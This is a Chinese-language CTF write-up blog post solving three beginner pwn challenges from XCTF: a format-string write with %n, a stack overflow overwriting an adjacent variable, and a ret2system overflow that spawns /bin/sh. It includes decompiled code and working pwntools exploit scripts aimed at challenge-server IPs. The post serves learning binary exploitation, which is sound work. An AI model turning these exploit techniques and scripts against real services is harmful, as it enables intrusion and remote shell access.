xctf攻防世界pwn基础题解(新手食用)

文章目录

        • CGFsb
        • when_did_you_born
          • 脚本
          • 备注:
        • cgpwn2
          • 目的:
          • 溢出点:
          • 构造shell:
          • exp:
          • 备注:

  • status:updating…

CGFsb

前面的那一道get_shell的题算是做pwn题的一般流程:下载文件,ida查看代码,分析漏洞,利用漏洞写出exp,最常用的是用到python的pwntools,然后使用nc或者pwntools连接到虚拟场景实现漏洞攻击得到flag。
本题的思路基本一致,使用pwntools编写漏洞利用脚本,这里的漏洞是格式化字符串漏洞,文章分享:https://www.cnblogs.com/ichunqiu/p/9329387.html。
ida分析,只有当pwnme这个变量的值为8的时候才可以输出flag:
xctf攻防世界pwn基础题解(新手食用)_第1张图片
pwnme这个变量处于.bss段,是一个全局变量。
而比较的前面调用了printf函数,可以看到参数就只有一个即就是你留下的message的地址:
xctf攻防世界pwn基础题解(新手食用)_第2张图片
所以可以通过格式化字符串漏洞使用%n格式修改任意地址内容,%n是一个不经常用到的格式符,其作用是把前面已经打印的长度写入某个内存地址中去。
使用ida查看call printf的地址:
xctf攻防世界pwn基础题解(新手食用)_第3张图片
使用gdb在该地址处设置断点,输入任意数据,确定message最后存入的是栈中的第几个参数:
xctf攻防世界pwn基础题解(新手食用)_第4张图片
由上图可知,输入的message“aaaa”存放在栈中第11(编写脚本的时候从0开始,所以应该是10)个参数处。
使用ida查看pwnme变量的地址:
xctf攻防世界pwn基础题解(新手食用)_第5张图片
编写脚本,(并不是完全独立编写出来的):
xctf攻防世界pwn基础题解(新手食用)_第6张图片
remote函数是连接到远程服务器进行漏洞利用,recvuntil函数顾名思义就是等待服务器返回参数中的字符串后再执行后续操作,sendline就是向服务器发送一行数据,也就是我们的payload,最后打印出返回来的结果。
脚本执行情况:
xctf攻防世界pwn基础题解(新手食用)_第7张图片
至于为什么要打印两次,是因为成功后会输出两次数据,一次是提示成功,一次是flag:
xctf攻防世界pwn基础题解(新手食用)_第8张图片

when_did_you_born

这是一道很简单的栈溢出的题,当然首先你得懂函数调用时栈的原理,你还得学会通过pwntools编写简单的Python脚本,还得懂点Linux运行的机制、懂点IDA。

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是:

  • 程序必须向栈上写入数据。
  • 写入的数据大小没有被良好地控制。

载入IDA,F5反编译得到伪C代码:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax
  char name; // [rsp+0h] [rbp-20h]
  unsigned int input_birth; // [rsp+8h] [rbp-18h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("What's Your Birth?");
  __isoc99_scanf("%d", &input_birth);
  while ( getchar() != 10 )
    ;
  if ( input_birth == 1926 )
  {
    puts("You Cannot Born In 1926!");
    result = 0LL;
  }
  else
  {
    puts("What's Your Name?");
    gets((__int64)&name);                       // stack overflow here
    printf("You Are Born In %d\n", input_birth);
    if ( input_birth == 1926 )
    {
      puts("You Shall Have Flag.");
      system("cat flag");
    }
    else
    {
      puts("You Are Naive.");
      puts("You Speed One Second Here.");
    }
    result = 0LL;
  }
  return result;
}

从上面的代码我们知道我们需要输入birth和name来校验,从system("cat flag");这一句来看,我们输入的birth要为1926,但是前面的判断又限制birth不能为1926。那么如何绕过呢?
可以看到gets(&name);这一句,gets函数以回车符号作为结束符来判断,于是我们就可以写入诸如'\x00'之类的不正常数据/不可见字符来达到我们的目的。
查看name与input_birth在栈上的距离:
xctf攻防世界pwn基础题解(新手食用)_第9张图片
name与input_birth相差了8个字节,而且input_birth的地址高于name,所以我们可以在第一次输入birth时输入非1926的数,然后在输入name时通过覆盖input_birth地址处的内容为1926来使得判断input_birth == 1926成立。

脚本
#!/bin/usr/python2
#author:spwpun

from pwn import *

p = remote('111.198.29.45', 48502)
# p = process('born')
birth = "1927"
name = "aaaaaaaa"+ p32(0x00000786)
p.recvuntil("What's Your Birth?")
p.sendline(birth)
p.recvuntil("What's Your Name?")
p.sendline(name)
print p.recv()
print p.recv()
print p.recv()

脚本基本上和上一题的一样,不过这次是自己写的了。
xctf攻防世界pwn基础题解(新手食用)_第10张图片

备注:

pwntools要在Python2上使用,不知道为啥我用Python3不行,也不想纠结了,之前看了《0day:软件安全漏洞》,通过对一个Windows的程序仔细调试,终于明白了栈溢出的原理了。

cgpwn2

同样是一道栈溢出的题,最近都是栈溢出,ret2libc之类的,打算彻底吃透吧!看了很多ctf-wiki上的例子,收获良多,gdb的调试技巧,内存查看也掌握了。

目的:

栈溢出,覆盖返回地址,构造system('/bin/sh');获取shell。

溢出点:

xctf攻防世界pwn基础题解(新手食用)_第11张图片
s变量离ebp0x26的距离:
在这里插入图片描述
要覆盖返回地址,s变量前面首先就要填充0x26+4个字节,额外的4个字节覆盖了ebp。

构造shell:

system函数地址:程序的导入表里直接有,可以直接使用。
xctf攻防世界pwn基础题解(新手食用)_第12张图片
/bin/sh字符串:ida中并没有搜索到,但是看到有这样一个函数pwn:
xctf攻防世界pwn基础题解(新手食用)_第13张图片
pwn函数直接调用了system函数,command是一个全局变量。
我以为自己可以通过gets函数修改command的内容为/bin/sh,然后再调用pwn函数执行就可以得到shell,结果调试了大半天,一直报段错误。后来突然意识到,command能不能写入呢,看了一下它所在的段(rodata),没有马上意识过来,去问了一下大佬们,果然不能,那我用gets写个毛啊!每天都在感叹自己的菜,我好难啊!
然后重新看到漏洞函数中有一个先让你输入name的提示:
xctf攻防世界pwn基础题解(新手食用)_第14张图片
name变量处于bss段,ida中也是可以直接查看段的读写权限的,我快哭晕了~~
xctf攻防世界pwn基础题解(新手食用)_第15张图片
在这里插入图片描述
这样,我们可以将/bin/sh作为name发送,然后让其作为参数传入system函数中去。这样一看,那个pwn函数就是特地给你挖好的坑,而我还死死地跳了进去,还以为自己能撞破墙壁呢!太天真了。

exp:
#!/usr/bin/env python
from pwn import *

libc = ELF('./cgpwn2')
DEBUG = 0
local_test = 0
if local_test == 1:
	sh = process('./cgpwn2')
else:
	sh = remote('111.198.29.45', 42816)
if DEBUG == 1:
	context.log_level = 'debug'
	gdb.attach(sh)

fgets_plt = libc.symbols['fgets']
system_plt = libc.symbols['system']
command = 0x804a080

payload = flat(['a'*0x26, 'b'*4, system_plt, 0xdeadbeef, command])

sh.recvuntil("name\n")
sh.sendline("/bin/sh")
sh.recvuntil('hello,you can leave some message here:')
sh.sendline(payload)

sh.interactive()
备注:

也许我该去看看《编译原理》。


待更…2019.09.02

你可能感兴趣的:(writeup)